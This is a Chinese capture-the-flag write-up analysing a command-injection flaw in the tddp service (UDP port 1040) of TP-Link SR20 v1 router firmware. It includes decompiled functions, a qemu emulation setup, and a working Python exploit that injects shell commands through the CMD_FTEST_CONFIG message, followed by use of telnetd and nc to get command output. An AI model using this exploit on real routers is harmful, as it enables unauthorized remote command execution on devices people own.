前言
2019 工控安全比赛第一场的一道固件逆向的题目,好像也比较简单,好多人都做出来了。这里就分别从静态和动态调试分析复现一下这个命令执行的洞。
赛题说明
题目给的场景倒是挺真实的:路由器在处理 tddp 协议时出现了命令注入,导致了远程命令执行。就是后面做出来的这个答案的格式咋提交都不对...
题目给了一个压缩文件,解压出来时一个 bin 文件。
使用 binwalk -Me 直接解压,得到了与一个标准的 linux 风格的文件系统:
后来知道这个固件其实就是 tp_link SR20 路由器 v1 版本的固件,在 seebug 上有相应的分析文章:
https://paper.seebug.org/879固件下载地址:https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
拿到文件系统之后,需要定位到相应的漏洞点,也就是在处理 tddp 协议的二进制文件中。
题目要求时找到 CMD_?_? 格式的消息类型,那么就使用 grep -rnl "CMD_." *
命令,再根据 tddp 协议定位到 usr/bin/tddp 这个文件,接着开始进行静态分析。
环境搭建
准备工具
- binwalk
- IDA
- qemu-arm
这里尝试在 qemu 的用户模式下进行动态调试发现有问题,所以需要在系统模式下将固件跑起来,因此就要进行系统环境的搭建。
qemu arm 的环境:
https://pan.baidu.com/s/1rDvn8WkHAIB2cwTXih-gMw 提取码:xpnl
安装方法在那篇文章中已经说的很清楚了,就不重复造轮子了。
静态分析
将 ./usr/bin/tddp 加载到 IDA 中,搜索关键字符串,这些关键字都在同一个函数中,回溯可以找到漏洞的函数。
函数的代码比较长,所以中间省略了一部分,这个函数就是对通过运行在 1040 端口上的 tddp 协议接收到的数据进行解析,并执行相应的分支操作。(函数中使用了 switch case 来实现)
- int __fastcall CMD_handle(_BYTE *a1, _DWORD *a2)
- {
- uint32_t v2; // r0
- __int16 v3; // r2
- uint32_t v4; // r0
- __int16 v5; // r2
- _DWORD *v7; // [sp+0h] [bp-24h]
- _BYTE *v8; // [sp+4h] [bp-20h]
- _BYTE *v9; // [sp+Ch] [bp-18h]
- _BYTE *v10; // [sp+10h] [bp-14h]
- int v11; // [sp+1Ch] [bp-8h]
-
- v8 = a1;
- v7 = a2;
- v10 = a1 + 0xB01B;
- v9 = a1 + 0x52;
- a1[0x52] = 1;
- switch ( a1[0xB01C] )
- {
- case 4:
- printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 103928, 697);
- v11 = sub_AC78(v8);
- break;
- case 6:
- printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
- v11 = sub_9944(v8);
- break;
- case 7:
- printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
- v11 = sub_ADDC(v8);
- if ( !v8 || !(*(v8 + 11) & 4) || !v8 || !(*(v8 + 11) & 8) || !v8 || !(*(v8 + 11) & 0x10) )
- *(v8 + 11) &= 0xFFFFFFFD;
- *(v8 + 8) = 0;
- *(v8 + 11) &= 0xFFFFFFFE;
- break;
- case 8:
- printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
- *(v8 + 11) &= 0xFFFFFFFE;
- v11 = 0;
- break;
- case 0xA:
- printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
- v11 = sub_9C24(v8);
- break;
- case 0xC:
- printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
- .....
- case 0xD:
- printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
- v11 = sub_A97C(v8);
- break;
- case 0x30:
- printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
- v11 = sub_A3C8(v8);
- break;
- case 0x31:
- printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
- v11 = vuln(v8); // 漏洞点在此
- break;
- default:
- ....
- }
- *v7 = ntohl((v9[7] << 24) | (v9[6] << 16) | (v9[5] << 8) | v9[4]) + 12;
- return v11;
- }
漏洞点在处理 CMD_FTEST_CONFIG
所在的 0x31 这个分支,跟进一下。(这里传入的参数 v8 为通过 tddp 协议传进来的数据体指针)
vuln 函数
这里调用了 sscanf 函数对传进来的结构体进行解析之后,拼接到 run_exec 函数中进行命令执行。但是这里过滤不严(只判断了 ; 字符,没有过滤 & 和 | 符号),可以进行命令注入,导致拼接恶意代码后可以进行任意命令执行。
- int __fastcall vuln(int a1)
- {
- void *v1; // r0
- uint32_t v2; // r0
- _BYTE *v3; // r3
- __int16 v4; // r2
- _BYTE *v5; // r3
- int v6; // r0
- int v7; // r1
- int v10; // [sp+4h] [bp-E8h]
- char name; // [sp+8h] [bp-E4h]
- char v12; // [sp+48h] [bp-A4h]
- char s; // [sp+88h] [bp-64h]
- _BYTE *v14; // [sp+C8h] [bp-24h]
- _BYTE *v15; // [sp+CCh] [bp-20h]
- int v16; // [sp+D0h] [bp-1Ch]
- int v17; // [sp+D4h] [bp-18h]
- char *v18; // [sp+D8h] [bp-14h]
- int v19; // [sp+DCh] [bp-10h]
- unsigned int v20; // [sp+E0h] [bp-Ch]
- char *v21; // [sp+E4h] [bp-8h]
-
- v10 = a1;
- v20 = 1;
- v19 = 4;
- memset(&s, 0, 0x40u);
- memset(&v12, 0, 0x40u);
- v1 = memset(&name, 0, 0x40u);
- v18 = 0;
- v17 = luaL_newstate(v1);
- v21 = (v10 + 0xB01B);
- v16 = v10 + 82;
- v15 = (v10 + 0xB01B);
- v14 = (v10 + 82);
- *(v10 + 83) = 49;
- v2 = htonl(0);
- v3 = v14;
- v14[4] = v2;
- v3[5] = BYTE1(v2);
- v3[6] = BYTE2(v2);
- v3[7] = HIBYTE(v2);
- v14[2] = 2;
- v4 = (v15[9] << 8) | v15[8];
- v5 = v14;
- v14[8] = v15[8];
- v5[9] = HIBYTE(v4);
- if ( *v15 == 1 )
- {
- v21 += 12;
- v16 += 12;
- }
- else
- {
- v21 += 28;
- v16 += 28;
- }
- if ( !v21 )
- goto LABEL_20;
- sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&|\|]
- if ( !s || !v12 )
- {
- printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
- LABEL_20:
- v14[3] = 3;
- return error(-10303, 94892);
- }
- v18 = inet_ntoa(*(v10 + 4));
- run_exec("cd /tmp;tftp -gr %s %s &", &s, v18); // 漏洞点
- sprintf(&name, "/tmp/%s", &s);
- while ( v19 > 0 )
- {
- sleep(1u);
- if ( !access(&name, 0) )
- break;
- --v19;
- }
- if ( !v19 )
- {
- printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
- goto LABEL_20;
- }
- if ( v17 )
- {
- luaL_openlibs(v17);
- if ( !luaL_loadfile(v17, &name) )
- lua_pcall(v17, 0, -1, 0);
- lua_getfield(v17, -10002, 94880);
- lua_pushstring(v17, &v12);
- lua_pushstring(v17, v18);
- lua_call(v17, 2, 1);
- v6 = lua_tonumber(v17, -1);
- v20 = sub_16EC4(v6, v7);
- lua_settop(v17, -2);
- }
- lua_close(v17);
- if ( v20 )
- goto LABEL_20;
- v14[3] = 0;
- return 0;
- }
- sscanf 函数作用时将第一个参数的值,根据格式化字符串解析到后面的参数中。
run_exec 函数
这里直接调用了 execve 函数进行命令执行。
- signed int run_exec(const char *a1, ...)
- {
- char *argv; // [sp+8h] [bp-11Ch]
- int v4; // [sp+Ch] [bp-118h]
- char *v5; // [sp+10h] [bp-114h]
- int v6; // [sp+14h] [bp-110h]
- int stat_loc; // [sp+18h] [bp-10Ch]
- char s; // [sp+1Ch] [bp-108h]
- __pid_t pid; // [sp+11Ch] [bp-8h]
- const char *varg_r0; // [sp+128h] [bp+4h]
- va_list varg_r1; // [sp+12Ch] [bp+8h]
-
- va_start(varg_r1, a1);
- varg_r0 = a1;
- pid = 0;
- stat_loc = 0;
- argv = 0;
- v4 = 0;
- v5 = 0;
- v6 = 0;
- vsprintf(&s, a1, varg_r1);
- printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
- pid = fork();
- if ( pid < 0 )
- return -1;
- if ( !pid )
- {
- argv = "sh";
- v4 = 0x16F4C;
- v5 = &s;
- v6 = 0;
- execve("/bin/sh", &argv, 0);
- exit(127);
- }
- while ( waitpid(pid, &stat_loc, 0) == -1 )
- {
- if ( *_errno_location() != 4 )
- return -1;
- }
- return 0;
- }
根据函数的调用链交叉引用,回溯分析传进来 CMD_handle 函数的参数。
调用链分析
在 函数名称处按下 X 键,定位到 data_handle 函数。函数中有一个 recvfrom 函数用来接收 socket 数据,存放到 v16+0xB01B 地址中,之后将 v16 传入 CMD_handle 函数。
- int __fastcall data_handle(int a1)
- {
- int v1; // r3
- int v2; // r3
- int v3; // r0
- uint32_t v4; // r0
- _BYTE *v5; // r3
- __int16 v6; // r2
- _BYTE *v7; // r3
- int v8; // r0
- uint32_t v9; // r0
- _BYTE *v10; // r3
- __int16 v11; // r2
- _BYTE *v12; // r3
- _BYTE *v13; // r3
- int v14; // r3
- int v16; // [sp+Ch] [bp-30h]
- size_t n; // [sp+10h] [bp-2Ch]
- socklen_t addr_len; // [sp+14h] [bp-28h]
- struct sockaddr addr; // [sp+18h] [bp-24h]
- ssize_t v20; // [sp+28h] [bp-14h]
- _BYTE *v21; // [sp+2Ch] [bp-10h]
- unsigned __int8 *v22; // [sp+30h] [bp-Ch]
- int v23; // [sp+34h] [bp-8h]
-
- v16 = a1;
- v23 = 0;
- addr_len = 16;
- n = 0;
- memset((a1 + 0xB01B), 0, 0xAFC9u);
- memset((v16 + 0x52), 0, 0xAFC9u);
- v22 = (v16 + 0xB01B);
- v21 = (v16 + 0x52);
- v20 = recvfrom(*(v16 + 36), (v16 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);// 第二个参数就是 buf 的位置
- if ( v20 < 0 )
- return sub_13018(-10106, 103880);
- sub_15458(v16);
- *(v16 + 44) |= 1u;
- v2 = *v22;
- if ( v2 == 1 )
- {
- v8 = sub_15AD8(v16, &addr);
- if ( v8 )
- {
- *(v16 + 52) = sub_9340(v8);
- v23 = CMD_handle(v16, &n); // 这里调用了命令处理的函数
- }
- else
- {
- v23 = -10301;
- *v21 = 1;
- v21[1] = v22[1];
- v21[2] = 2;
- v21[3] = 8;
- v9 = htonl(0);
- v10 = v21;
- v21[4] = v9;
- v10[5] = BYTE1(v9);
- v10[6] = BYTE2(v9);
- v10[7] = HIBYTE(v9);
- v11 = (v22[9] << 8) | v22[8];
- v12 = v21;
- v21[8] = v22[8];
- v12[9] = HIBYTE(v11);
- }
- }
- else if ( v2 == 2 )
- {
- v3 = sub_15AD8(v16, &addr);
- if ( v3 )
- {
- *(v16 + 52) = sub_9340(v3);
- v23 = sub_15BB8(v16, &n);
- }
- else
- {
- v23 = -10301;
- *v21 = 2;
- v21[1] = v22[1];
- v21[2] = 2;
- v21[3] = 8;
- v4 = htonl(0);
- v5 = v21;
- v21[4] = v4;
- v5[5] = BYTE1(v4);
- v5[6] = BYTE2(v4);
- v5[7] = HIBYTE(v4);
- v6 = (v22[9] << 8) | v22[8];
- v7 = v21;
- v21[8] = v22[8];
- v7[9] = HIBYTE(v6);
- sub_15830(v16, &n);
- }
- }
- else
- {
- v21[3] = 7;
- v13 = v21;
- v21[4] = 0;
- v13[5] = 0;
- v13[6] = 0;
- v13[7] = 0;
- n = ((v21[7] << 24) | (v21[6] << 16) | (v21[5] << 8) | v21[4]) + 12;
- }
- if ( v16 )
- v14 = *(v16 + 44) & 1;
- else
- v14 = 0;
- if ( v14 && sendto(*(v16 + 36), (v16 + 82), n, 0, &addr, 0x10u) == -1 )
- v1 = sub_13018(-10105, 103896);
- else
- v1 = v23;
- return v1;
- }
再往回分析就是对堆空间的一个结构体进行初始化的操作:
- int sub_936C()
- {
- #37 *v0; // r4
- int optval; // [sp+Ch] [bp-B0h]
- int v3; // [sp+10h] [bp-ACh]
- struct timeval timeout; // [sp+14h] [bp-A8h]
- fd_set readfds; // [sp+1Ch] [bp-A0h]
- #37 *heap_space; // [sp+9Ch] [bp-20h]
- int v7; // [sp+A0h] [bp-1Ch]
- int nfds; // [sp+A4h] [bp-18h]
- fd_set *v9; // [sp+A8h] [bp-14h]
- unsigned int i; // [sp+ACh] [bp-10h]
- char v11[12]; // [sp+B0h] [bp-Ch]
-
- heap_space = 0;
- v3 = 1;
- optval = 1;
- printf("[%s():%d] tddp task start\n", 94096, 0x97);
- if ( !sub_16ACC(&heap_space)
- && !socket_new(heap_space + 9)
- && !setsockopt(*(heap_space + 9), 1, 2, &optval, 4u)
- && !bind_port(*(heap_space + 9), 1040u)
- && !setsockopt(*(heap_space + 9), 1, 6, &v3, 4u) )
- {
- ....
- while ( 1 )
- {
- do
- {
- ...
- }
- while ( v7 == -1 );
- if ( !v7 )
- break;
- if ( (*&v11[4 * (*(heap_space + 9) >> 5) - 148] >> (*(heap_space + 9) & 0x1F)) & 1 )
- data_handle(heap_space); // 函数调用
- }
- }
- sub_16E0C(*(heap_space + 9));
- sub_16C18(heap_space);
- return printf("[%s():%d] tddp task exit\n", 94096, 219);
- }
-
- // sub_16ACC 函数为初始化过程:
- nt __fastcall sub_16ACC(_DWORD *a1)
- {
- _DWORD *v3; // [sp+4h] [bp-10h]
- _DWORD *s; // [sp+8h] [bp-Ch]
- int v5; // [sp+Ch] [bp-8h]
-
- v3 = a1;
- if ( !a1 )
- return error(-10202, 104096);
- s = calloc(1u, 0x15FE4u);
- if ( !s )
- return error(-10202, 104112);
- v5 = sub_16878(s);
- if ( v5 )
- return v5;
- memset(s + 0xE, 0, 9u);
- memset(s + 0x52, 0, 0xAFC9u);
- memset(s + 0xB01B, 0, 0xAFC9u);
- memset(s + 0x41, 0, 0x11u);
- memset(s, 0, 0x28u);
- s[9] = -1;
- s[8] = 0;
- *v3 = s;
- return 0;
- }
根据堆内存的初始化过程,可以对结构体空间进行表示:
题目中问到:第几个字节为多少时,会触命令执行漏洞?
根据 CMD_handle 函数的判断:
接收数据的存储开始位置是在 0xB01B,这里 switch 判断的是 0XB01C 位置,所以相对偏移就是 1,也就是第二个位置。
- v8 = a1;
- v7 = a2;
- v10 = a1 + 0xB01B;
- v9 = a1 + 0x52;
- a1[0x52] = 1;
- switch ( a1[0xB01C] )
- ...
- case 0x31:
- printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
- v11 = vuln(v8);
那么这里的答案应该是:CMD_FTEST_CONFIG+0x1+0x31
,但是比赛时怎么提交都是错的...
动态调试
这里用 qemu 仿真的方法将固件跑起来,来尝试通过命令注入拿到他的shell。
按照文章的方法,配置好虚拟网卡之后,运行下面的命令将固件模拟起来:
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
挂载目录,切换根目录:
- mount -o bind /dev ./squashfs-root/dev/
- mount -t proc /proc/ ./squashfs-root/proc/
- chroot squashfs-root sh
启动服务
直接运行 tddp 命令启动 tddp 服务,使用 nmap 的 UDP 扫描端口是开放的。
- 这里使用 TCP 扫描的话会发现端口是关闭的。
EXP 的编写
首先在发送的数据中,前两个字节必须为 \\0x1\\0x31
,中间需要填充 10 个字节,原因是这里的 v21 指针会后移 12 位,因此中间需要填充。
接着就是注入需要的代码:
- payload = '\x01\x31'.ljust(12,'\x00')
- payload+= "123|%s&&echo ;123"%(command)
- 这里在 paylaod 中需要注意的是,在 ; 最后还需要填充字符,因为在使用 sscanf 函数进行分割命令后会判断 ; 后面的内容是否为空。
- sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&|\|]
- if ( !s || !v12 )
- {
- printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
- LABEL_20:
- v14[3] = 3;
- return error(-10303, 94892);
- }
接着使用 UDP 的 socket 的接口进行发送即可:
最后的 exp 如下:
- from pwn import *
- from socket import *
- import sys
-
- tddp_port = 1040
- recv_port = 12345
- ip = sys.argv[1]
- command = sys.argv[2]
-
- s_send = socket(AF_INET,SOCK_DGRAM,0)
- s_recv = socket(AF_INET,SOCK_DGRAM,0)
-
- s_recv.bind(('',12345))
-
- payload = '\x01\x31'.ljust(12,'\x00')
- payload+= "123|%s&&echo ;123"%(command)
-
- s_send.sendto(payload,(ip,tddp_port))
- s_send.close()
-
- res,addr = s_recv.recvfrom(1024)
- print res
执行一个 uname 看看:
开启 telnetd 服务:
好吧,这里确实已经连接上了,但是这里远程没有用于 telnet 服务的终端,刚好固件又带了 nc,那就使用 nc 来弹一个 shell 吧。
发现 nc 不带弹 shell 的功能。。那只能将命令的内容正向连接来输出了。
如图,在本地监听一个端口,命令执行的结果就会通过 nc 显示在本地。
至此漏洞复现完毕。
当然注入一个合法的 lua 脚本,让程序去访问之后执行命令也是可以的,参考文章中用的就是这种方法。
总结
这个命令执行漏洞拿来练手还是不错的,学到了不少东西。
参考文章
https://paper.seebug.org/879
https://segmentfault.com/a/1190000018351915